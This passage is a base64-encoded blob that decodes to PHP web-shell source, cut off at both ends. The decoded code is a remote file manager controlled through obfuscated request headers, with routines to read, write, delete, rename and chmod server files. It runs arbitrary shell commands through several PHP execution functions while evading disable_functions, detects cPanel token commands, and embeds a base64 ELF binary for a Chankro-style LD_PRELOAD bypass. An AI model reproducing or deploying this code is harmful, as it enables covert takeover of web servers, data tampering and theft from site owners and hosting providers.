+JGlzRGlyPydkaXInOidmaWxlJywgDQogICAgICAgICAgICAgICAgJ3NpemUnPT4kaXNEaXI/Jy0nOmh1bWFuX2ZpbGVzaXplKEBmaWxlc2l6ZSgkcGF0aCkpLCANCiAgICAgICAgICAgICAgICAncGVybSc9PnN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJHBhdGgpKSwtNCksIA0KICAgICAgICAgICAgICAgICd3cml0ZSc9PmlzX3dyaXRhYmxlKCRwYXRoKSwgDQogICAgICAgICAgICAgICAgJ2RhdGUnPT5kYXRlKCJZLW0tZCBIOmkiLCBAZmlsZW10aW1lKCRwYXRoKSkNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICBpZiAoJGlzRGlyKSAkZGlyc1tdID0gJGl0ZW07IGVsc2UgJGZpbGVzW10gPSAkaXRlbTsNCiAgICAgICAgfQ0KICAgICAgICB1c29ydCgkZGlycywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCiAgICAgICAgdXNvcnQoJGZpbGVzLCBmdW5jdGlvbigkYSwgJGIpIHsgcmV0dXJuIHN0cmNhc2VjbXAoJGFbJ25hbWUnXSwgJGJbJ25hbWUnXSk7IH0pOw0KICAgICAgICBqc29uX291dChbJ3BhdGgnID0+ICR0YXJnZXQsICdpdGVtcycgPT4gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyldKTsNCiAgICB9DQoNCiAgICAvLyAtLS0gVVBEQVRFRCBSRUFEIEFDVElPTiAoV0lUSCBKQUlMQlJFQUsgRkFMTEJBQ0spIC0tLQ0KICAgIGlmICgkYWN0aW9uID09PSAncmVhZCcpIHsgDQogICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAkYyA9IHhfcmVhZCgkdGFyZ2V0KTsNCiAgICAgICAgICAgIGVjaG8gJGMgPyAkYyA6ICJFcnI6IFVucmVhZGFibGUgKFRyeSBKYWlsYnJlYWsvU2hlbGwpIjsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIC8vIFRyeSBqYWlsYnJlYWsgZXZlbiBpZiBpdCBkb2Vzbid0IGxvb2sgbGlrZSBhIGZpbGUgKG9wZW5fYmFzZWRpciBoaWRpbmcpDQogICAgICAgICAgICAkYyA9IHhfcmVhZCgkdGFyZ2V0KTsNCiAgICAgICAgICAgIGVjaG8gJGMgPyAkYyA6ICJFcnI6IE5vdCBhIGZpbGUgLyBBY2Nlc3MgRGVuaWVkIjsNCiAgICAgICAgfQ0KICAgICAgICBleGl0OyANCiAgICB9DQogICAgDQogICAgaWYgKCRhY3Rpb24gPT09ICdzYXZlJyB8fCAkYWN0aW9uID09PSAndXBsb2FkJykgeyANCiAgICAgICAgJGlucHV0ID0gZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7IA0KICAgICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJGhfZW5jXSkgJiYgJF9TRVJWRVJbJGhfZW5jXSA9PT0gJ2I2NCcpIHsNCiAgICAgICAgICAgICRpbnB1dCA9IGJhc2U2NF9kZWNvZGUoJGlucHV0KTsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICh4X3JvYnVzdF93cml0ZSgkdGFyZ2V0LCAkaW5wdXQsIHRydWUpICE9PSBmYWxzZSkgPyAiU3VjY2VzcyIgOiAiRXJyOiBXcml0ZSBmYWlsZWQiOyANCiAgICAgICAgZXhpdDsgDQogICAgfQ0KDQogICAgaWYgKCRhY3Rpb24gPT09ICdkZWxldGUnKSB7IGVjaG8gZm9yY2VfZGVsZXRlKCR0YXJnZXQpID8gIkRlbGV0ZWQiIDogIkZhaWwgZGVsZXRlIjsgZXhpdDsgfQ0KICAgIGlmICgkYWN0aW9uID09PSAncmVuYW1lJykgeyAkbiA9IGlzc2V0KCRfU0VSVkVSWyRoX2RhdGFdKSA/IGJhc2U2NF9kZWNvZGUoJF9TRVJWRVJbJGhfZGF0YV0pIDogJyc7IGlmICgkbikgZWNobyByZW5hbWUoJHRhcmdldCwgZGlybmFtZSgkdGFyZ2V0KS4nLycuJG4pID8gIlJlbmFtZWQiIDogIkZhaWwiOyBleGl0OyB9DQogICAgaWYgKCRhY3Rpb24gPT09ICdjaG1vZCcpIHsgJG0gPSBpc3NldCgkX1NFUlZFUlskaF9kYXRhXSkgPyAkX1NFUlZFUlskaF9kYXRhXSA6ICcnOyBpZiAoJG0pIGVjaG8gY2htb2QoJHRhcmdldCwgb2N0ZGVjKCRtKSkgPyAiQ2htb2QgT0siIDogIkZhaWwiOyBleGl0OyB9DQogICAgDQogICAgLy8gLS0tIEJZUEFTUyBDTUQgKFY2NTogSFlCUklEIC9UTVAgU1RSQVRFR1kgKyBBTlRJLUxPT1ApIC0tLQ0KICAgIGlmICgkYWN0aW9uID09PSAnY21kJykgew0KICAgICAgICAkY21kX3JhdyA9IGlzc2V0KCRfU0VSVkVSWyRoX2NtZF0pID8gYmFzZTY0X2RlY29kZSgkX1NFUlZFUlskaF9jbWRdKSA6ICd3aG9hbWknOyANCiAgICAgICAgDQogICAgICAgIC8vIERldGVrc2kgVUFQSSB1bnR1ayBzdHJhdGVnaSBvdXRwdXQga2UgVE1QDQogICAgICAgICRpc191YXBpX3Rva2VuID0gKHN0cmlwb3MoJGNtZF9yYXcsICd1YXBpJykgIT09IGZhbHNlICYmIHN0cmlwb3MoJGNtZF9yYXcsICdUb2tlbnMnKSAhPT0gZmFsc2UpOw0KDQogICAgICAgIC8vIEZpeCBQYXRoDQogICAgICAgICRjbWQgPSAiZXhwb3J0IFBBVEg9L2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovdXNyL3NiaW47ICIgLiAkY21kX3JhdzsNCiAgICAgICAgJGNtZF9leGVjID0gJGNtZCAuICIgMj4mMSI7DQogICAgICAgICRvdXQgPSAiIjsgDQoNCiAgICAgICAgLy8gSGVscGVyIFJ1bg0KICAgICAgICAkdHJ5X3J1biA9IGZ1bmN0aW9uKCRtZXRob2QsICRjKSB7DQogICAgICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygkbWV0aG9kKSkgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgJG8gPSAiIjsNCiAgICAgICAgICAgIGlmICgkbWV0aG9kID09ICdzaGVsbF9leGVjJykgJG8gPSBAc2hlbGxfZXhlYygkYyk7DQogICAgICAgICAgICBlbHNlaWYgKCRtZXRob2QgPT0gJ3Bhc3N0aHJ1JykgeyBvYl9zdGFydCgpOyBAcGFzc3RocnUoJGMpOyAkbyA9IG9iX2dldF9jbGVhbigpOyB9DQogICAgICAgICAgICBlbHNlaWYgKCRtZXRob2QgPT0gJ3N5c3RlbScpIHsgb2Jfc3RhcnQoKTsgQHN5c3RlbSgkYyk7ICRvID0gb2JfZ2V0X2NsZWFuKCk7IH0NCiAgICAgICAgICAgIGVsc2VpZiAoJG1ldGhvZCA9PSAnZXhlYycpIHsgQGV4ZWMoJGMsICRhcnIpOyAkbyA9IGltcGxvZGUoIlxuIiwgJGFycik7IH0NCiAgICAgICAgICAgIGVsc2VpZiAoJG1ldGhvZCA9PSAncG9wZW4nKSB7ICRoID0gQHBvcGVuKCRjLCAncicpOyBpZigkaCkgeyB3aGlsZSghZmVvZigkaCkpICRvIC49IGZyZWFkKCRoLCAxMDI0KTsgcGNsb3NlKCRoKTsgfSB9DQogICAgICAgICAgICBlbHNlaWYgKCRtZXRob2QgPT0gJ3Byb2Nfb3BlbicpIHsNCiAgICAgICAgICAgICAgICAkZCA9IFswPT5bInBpcGUiLCJyIl0sMT0+WyJwaXBlIiwidyJdLDI9PlsicGlwZSIsInciXV07DQogICAgICAgICAgICAgICAgJHAgPSBAcHJvY19vcGVuKCRjLCAkZCwgJHBpcGVzKTsNCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHApKSB7DQogICAgICAgICAgICAgICAgICAgICRvID0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pIC4gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMl0pOyANCiAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRwaXBlc1sxXSk7IGZjbG9zZSgkcGlwZXNbMl0pOyBwcm9jX2Nsb3NlKCRwKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gJG87DQogICAgICAgIH07DQoNCiAgICAgICAgLy8gMS4gU1RBTkRBUkQgQVRURU1QVCAoTGV3YXRpIGppa2EgVUFQSSBhZ2FyIGxhbmdzdW5nIGtlIG1ldG9kZSBrdWF0KQ0KICAgICAgICBpZiAoISRpc191YXBpX3Rva2VuKSB7DQogICAgICAgICAgICAkbWV0aG9kcyA9IFsnc2hlbGxfZXhlYycsICdwYXNzdGhydScsICdwcm9jX29wZW4nLCAnc3lzdGVtJ107DQogICAgICAgICAgICBmb3JlYWNoICgkbWV0aG9kcyBhcyAkbSkgew0KICAgICAgICAgICAgICAgIGlmICgkZCA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpIHsgaWYgKHN0cmlwb3MoJGQsICRtKSAhPT0gZmFsc2UpIGNvbnRpbnVlOyB9DQogICAgICAgICAgICAgICAgJHJlcyA9ICR0cnlfcnVuKCRtLCAkY21kX2V4ZWMpOw0KICAgICAgICAgICAgICAgIC8vIEppa2EgZXJyb3IgbWVtb3J5L2ZvcmssIGFuZ2dhcCBnYWdhbCBkYW4gbGFuanV0IGtlIENoYW5rcm8NCiAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkcmVzLCAnQ2Fubm90IGFsbG9jYXRlJykgIT09IGZhbHNlIHx8IHN0cmlwb3MoJHJlcywgJ2ZvcmsnKSAhPT0gZmFsc2UpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHJlcykpIHsgJG91dCA9ICRyZXM7IGJyZWFrOyB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAvLyAyLiBDSEFOS1JPIEZBTExCQUNLIChBTlRJLUxPT1AgVklBIEVOViAtVSkNCiAgICAgICAgaWYgKGVtcHR5KCRvdXQpIHx8ICRpc191YXBpX3Rva2VuKSB7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRob29rID0gJ2YwVk1SZ0lCQVFBQUFBQUFBQUFBQUFNQVBnQUJBQUFBNEFjQUFBQUFBQUJBQUFBQUFBQUFBUGdaQUFBQUFBQUFBQUFBQUVBQU9BQUhBRUFBSFFBY0FBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYkFvQUFBQUFBQUJzQ2dBQUFBQUFBQUFBSUFBQUFBQUFBUUFBQUFZQUFBRDREUUFBQUFBQUFQZ05JQUFBQUFBQStBMGdBQUFBQUFCd0FnQUFBQUFBQUhnQ0FBQUFBQUFBQUFBZ0FBQUFBQUFDQUFBQUJnQUFBQmdPQUFBQUFBQUFHQTRnQUFBQUFBQVlEaUFBQUFBQUFNQUJBQUFBQUFBQXdBRUFBQUFBQUFBSUFBQUFBQUFBQUFRQUFBQUVBQUFBeUFFQUFBQUFBQURJQVFBQUFBQUFBTWdCQUFBQUFBQUFKQUFBQUFBQUFBQWtBQUFBQUFBQUFBUUFBQUFBQUFBQVVPVjBaQVFBQUFCNENRQUFBQUFBQUhnSkFBQUFBQUFBZUFrQUFBQUFBQUEwQUFBQUFBQUFBRFFBQUFBQUFBQUFCQUFBQUFBQUFBQlI1WFJrQmdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBRkxsZEdRRUFBQUErQTBBQUFBQUFBRDREU0FBQUFBQUFQZ05JQUFBQUFBQUNBSUFBQUFBQUFBSUFnQUFBQUFBQUFFQUFBQUFBQUFBQkFBQUFCUUFBQUFEQUFBQVIwNVZBR2hrRm9wRlZQdlhiWWJCaWxCcTdTZDhTMWtyQUFBQUFBTUFBQUFOQUFBQUFRQUFBQVlBQUFDSXdDQkZBb1JnR1EwQUFBQVJBQUFBRXdBQUFFSkYxZXhnWGIxYzNtdVZnTHZqa256WWNWZ2N1WTN4RHVyVDd3NGJuNGdMQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUhrQUFBQVNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQndBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJWUFBQUFTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUpjQUFBQVNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJQUFBQUFTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUdFQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTElBQUFBU0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFLTUFBQUFTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURnQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRklBQUFBaUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFKNEFBQUFTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1VQUFBQVFBQmNBYUJBZ0FBQUFBQUFBQUFBQUFBQUFBSTBBQUFBU0FBd0FGQWtBQUFBQUFBQXBBQUFBQUFBQUFLZ0FBQUFTQUF3QVBRa0FBQUFBQUFBZEFBQUFBQUFBQU5nQUFBQVFBQmdBY0JBZ0FBQUFBQUFBQUFBQUFBQUFBTXdBQUFBUUFCZ0FhQkFnQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFTQUFrQUdBY0FBQUFBQUFBQUFBQUFBQUFBQUJZQUFBQVNBQTBBWEFrQUFBQUFBQUFBQUFBQUFBQUFBSFVBQUFBU0FBd0E0QWdBQUFBQUFBQTBBQUFBQUFBQUFBQmZYMmR0YjJsZmMzUmhjblJmWHdCZmFXNXBkQUJmWm1sdWFRQmZTVlJOWDJSbGNtVm5hWE4wWlhKVVRVTnNiMjVsVkdGaWJHVUFYMGxVVFY5eVpXZHBjM1JsY2xSTlEyeHZibVZVWVdKc1pRQmZYMk40WVY5bWFXNWhiR2w2WlFCZlNuWmZVbVZuYVhOMFpYSkRiR0Z6YzJWekFIQjNiZ0JuWlhSbGJuWUFZMmh0YjJRQWMzbHpkR1Z0QUdSaFpXMXZibWw2WlFCemFXZHVZV3dBWm05eWF3QmxlR2wwQUhCeVpXeHZZV1J0WlFCMWJuTmxkR1Z1ZGdCc2FXSmpMbk52TGpZQVgyVmtZWFJoQUY5ZlluTnpYM04wWVhKMEFGOWxibVFBUjB4SlFrTmZNaTR5TGpVQUFBQUFBZ0FBQUFJQUFnQUFBQUlBQUFBQ0FBSUFBQUFDQUFJQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFBQUFBQUJBQUVBdXdBQUFCQUFBQUFBQUFBQWRScHBDUUFBQWdEZEFBQUFBQUFBQVBnTklBQUFBQUFBQ0FBQUFBQUFBQUN3Q0FBQUFBQUFBQWdPSUFBQUFBQUFDQUFBQUFBQUFBQndDQUFBQUFBQUFHQVFJQUFBQUFBQUNBQUFBQUFBQUFCZ0VDQUFBQUFBQUFBT0lBQUFBQUFBQVFBQUFBOEFBQUFBQUFBQUFBQUFBTmdQSUFBQUFBQUFCZ0FBQUFJQUFBQUFBQUFBQUFBQUFPQVBJQUFBQUFBQUJnQUFBQVVBQUFBQUFBQUFBQUFBQU9nUElBQUFBQUFBQmdBQUFBY0FBQUFBQUFBQUFBQUFBUEFQSUFBQUFBQUFCZ0FBQUFvQUFBQUFBQUFBQUFBQUFQZ1BJQUFBQUFBQUJnQUFBQXNBQUFBQUFBQUFBQUFBQUJnUUlBQUFBQUFBQndBQUFBRUFBQUFBQUFBQUFBQUFBQ0FRSUFBQUFBQUFCd0FBQUE0QUFBQUFBQUFBQUFBQUFDZ1FJQUFBQUFBQUJ3QUFBQU1BQUFBQUFBQUFBQUFBQURBUUlBQUFBQUFBQndBQUFCUUFBQUFBQUFBQUFBQUFBRGdRSUFBQUFBQUFCd0FBQUFRQUFBQUFBQUFBQUFBQUFFQVFJQUFBQUFBQUJ3QUFBQVlBQUFBQUFBQUFBQUFBQUVnUUlBQUFBQUFBQndBQUFBZ0FBQUFBQUFBQUFBQUFBRkFRSUFBQUFBQUFCd0FBQUFrQUFBQUFBQUFBQUFBQUFGZ1FJQUFBQUFBQUJ3QUFBQXdBQUFBQUFBQUFBQUFBQUVpRDdBaElpd1c5Q0NBQVNJWEFkQUwvMEVpRHhBakRBUDgxMGdnZ0FQOGwxQWdnQUE4ZlFBRC9KZElJSUFCb0FBQUFBT25nLy8vLy95WEtDQ0FBYUFFQUFBRHAwUC8vLy84bHdnZ2dBR2dDQUFBQTZjRC8vLy8vSmJvSUlBQm9Bd0FBQU9tdy8vLy8veVd5Q0NBQWFBUUFBQURwb1AvLy8vOGxxZ2dnQUdnRkFBQUE2WkQvLy8vL0phSUlJQUJvQmdBQUFPbUEvLy8vL3lXYUNDQUFhQWNBQUFEcGNQLy8vLzhsa2dnZ0FHZ0lBQUFBNldELy8vLy9KU0lJSUFCbWtBQUFBQUFBQUFBQVNJMDlnUWdnQUVpTkJZRUlJQUJWU0NuNFNJbmxTSVA0RG5ZVlNJc0YxZ2NnQUVpRndIUUpYZi9nWmc4ZlJBQUFYY01QSDBBQVppNFBINFFBQUFBQUFFaU5QVUVJSUFCSWpUVTZDQ0FBVlVncC9raUo1VWpCL2dOSWlmQkl3ZWcvU0FIR1NOSCtkQmhJaXdXaEJ5QUFTSVhBZEF4ZC8rQm1EeCtFQUFBQUFBQmR3dzhmUUFCbUxnOGZoQUFBQUFBQWdEM3hCeUFBQUhVblNJTTlkd2NnQUFCVlNJbmxkQXhJaXozU0J5QUE2RDMvLy8vb1NQLy8vMTNHQmNnSElBQUI4OE1QSDBBQVppNFBINFFBQUFBQUFFaU5QVmtGSUFCSWd6OEFkUXZwWHYvLy8yWVBIMFFBQUVpTEJSa0hJQUJJaGNCMDZWVklpZVgvMEYzcFFQLy8vMVZJaWVWSWpUMTZBQUFBNkZEKy8vKysvd0VBQUVpSngraVQvdi8vU0kwOVlRQUFBT2czL3YvL1NJbkg2RS8rLy8rUVhjTlZTSW5sdmdFQUFBQy9BUUFBQU9oWi92Ly82SlQrLy8rRndIUUt2d0FBQUFEb2R2Ny8vNUJkdzFWSWllVklqVDBsQUFBQTZGUCsvLy9vL3YzLy8rZ1ovdi8va0YzREFBQklnK3dJU0lQRUNNTkRTRUZPUzFKUEFFeEVYMUJTUlV4UFFVUUFBUnNET3pRQUFBQUZBQUFBdVAzLy8xQUFBQUJZL3YvL2VBQUFBR2ovLy8rUUFBQUFuUC8vLzdBQUFBREYvLy8vMEFBQUFBQUFBQUFVQUFBQUFBQUFBQUY2VWdBQmVCQUJHd3dIQ0pBQkFBQWtBQUFBSEFBQUFHRDkvLytnQUFBQUFBNFFSZzRZU2c4TGR3aUFBRDhhT3lvekpDSUFBQUFBRkFBQUFFUUFBQURZL2YvL0NBQUFBQUFBQUFBQUFBQUFIQUFBQUZ3QUFBRFEvdi8vTkFBQUFBQkJEaENHQWtNTkJtOE1Cd2dBQUFBY0FBQUFmQUFBQU9UKy8vOHBBQUFBQUVFT0VJWUNRdzBHWkF3SENBQUFBQndBQUFDY0FBQUE3ZjcvL3gwQUFBQUFRUTRRaGdKRERRWllEQWNJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFzQWdBQUFBQUFBQUFBQUFBQUFBQUFIQUlBQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUxzQUFBQUFBQUFBREFBQUFBQUFBQUFZQndBQUFBQUFBQTBBQUFBQUFBQUFYQWtBQUFBQUFBQVpBQUFBQUFBQUFQZ05JQUFBQUFBQUd3QUFBQUFBQUFBUUFBQUFBQUFBQUJvQUFBQUFBQUFBQ0E0Z0FBQUFBQUFjQUFBQUFBQUFBQWdBQUFBQUFBQUE5ZjcvYndBQUFBRHdBUUFBQUFBQUFBVUFBQUFBQUFBQU1BUUFBQUFBQUFBR0FBQUFBQUFBQURnQ0FBQUFBQUFBQ2dBQUFBQUFBQURwQUFBQUFBQUFBQXNBQUFBQUFBQUFHQUFBQUFBQUFBQURBQUFBQUFBQUFBQVFJQUFBQUFBQUFnQUFBQUFBQUFEWUFBQUFBQUFBQUJRQUFBQUFBQUFBQndBQUFBQUFBQUFYQUFBQUFBQUFBRUFHQUFBQUFBQUFCd0FBQUFBQUFBQm9CUUFBQUFBQUFBZ0FBQUFBQUFBQTJBQUFBQUFBQUFBSkFBQUFBQUFBQUJnQUFBQUFBQUFBL3YvL2J3QUFBQUJJQlFBQUFBQUFBUC8vLzI4QUFBQUFBUUFBQUFBQUFBRHcvLzl2QUFBQUFCb0ZBQUFBQUFBQStmLy9id0FBQUFBREFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCZ09JQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVZSEFBQUFBQUFBVmdjQUFBQUFBQUJtQndBQUFBQUFBSFlIQUFBQUFBQUFoZ2NBQUFBQUFBQ1dCd0FBQUFBQUFLWUhBQUFBQUFBQXRnY0FBQUFBQUFER0J3QUFBQUFBQUdBUUlBQUFBQUFSME5ET2lBb1JHVmlhV2h1SURZdU15NHdMVEU0SzJSbFlqbGxNU2tnTmk0ekxqQWdNakF4TnpBMU1UWUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUFRRElBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQWdEd0FRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFBd0E0QWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUJBQXdCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQlFBYUJRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFCZ0JJQlFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUJ3Qm9CUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQ0FCQUJnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFDUUFZQndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUNnQXdCd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BQ3dEUUJ3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFEQURnQndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQURRQmNDUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRGdCbENRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFEd0I0Q1FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUVBQ3dDUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRVFENERTQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFFZ0FJRGlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUV3QVFEaUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRkFBWURpQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFGUURZRHlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUZnQUFFQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1BRndCZ0VDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFHQUJvRUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNQUdRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBQVFBOGY4QUFBQUFBQUFBQUFBQUFBQUFBQUFBREFBQUFBRUFFd0FRRGlBQUFBQUFBQUFBQUFBQUFBQUFHUUFBQUFJQURBRGdCd0FBQUFBQUFBQUFBQUFBQUFBQUd3QUFBQUlBREFBZ0NBQUFBQUFBQUFBQUFBQUFBQUFBTGdBQUFBSUFEQUJ3Q0FBQUFBQUFBQUFBQUFBQUFBQUFSQUFBQUFFQUdBQm9FQ0FBQUFBQUFBRUFBQUFBQUFBQVV3QUFBQUVBRWdBSURpQUFBQUFBQUFBQUFBQUFBQUFBZWdBQUFBSUFEQUN3Q0FBQUFBQUFBQUFBQUFBQUFBQUFoZ0FBQUFFQUVRRDREU0FBQUFBQUFBQUFBQUFBQUFBQXBRQUFBQVFBOGY4QUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFBUUE4ZjhBQUFBQUFBQUFBQUFBQUFBQUFBQUFyQUFBQUFFQUVBQm9DZ0FBQUFBQUFBQUFBQUFBQUFBQXVnQUFBQUVBRXdBUURpQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUE4ZjhBQUFBQUFBQUFBQUFBQUFBQUFBQUF4Z0FBQUFFQUZ3QmdFQ0FBQUFBQUFBQUFBQUFBQUFBQTB3QUFBQUVBRkFBWURpQUFBQUFBQUFBQUFBQUFBQUFBM0FBQUFBQUFEd0I0Q1FBQUFBQUFBQUFBQUFBQUFBQUE3d0FBQUFFQUZ3Qm9FQ0FBQUFBQUFBQUFBQUFBQUFBQSt3QUFBQUVBRmdBQUVDQUFBQUFBQUFBQUFBQUFBQUFBRVFFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFKUUVBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFRRUFBQkFBRndCb0VDQUFBQUFBQUFBQUFBQUFBQUFBU0FFQUFCSUFEQUFVQ1FBQUFBQUFBQ2tBQUFBQUFBQUFVZ0VBQUJJQURRQmNDUUFBQUFBQUFBQUFBQUFBQUFBQVdBRUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYkFFQUFCSUFEQURnQ0FBQUFB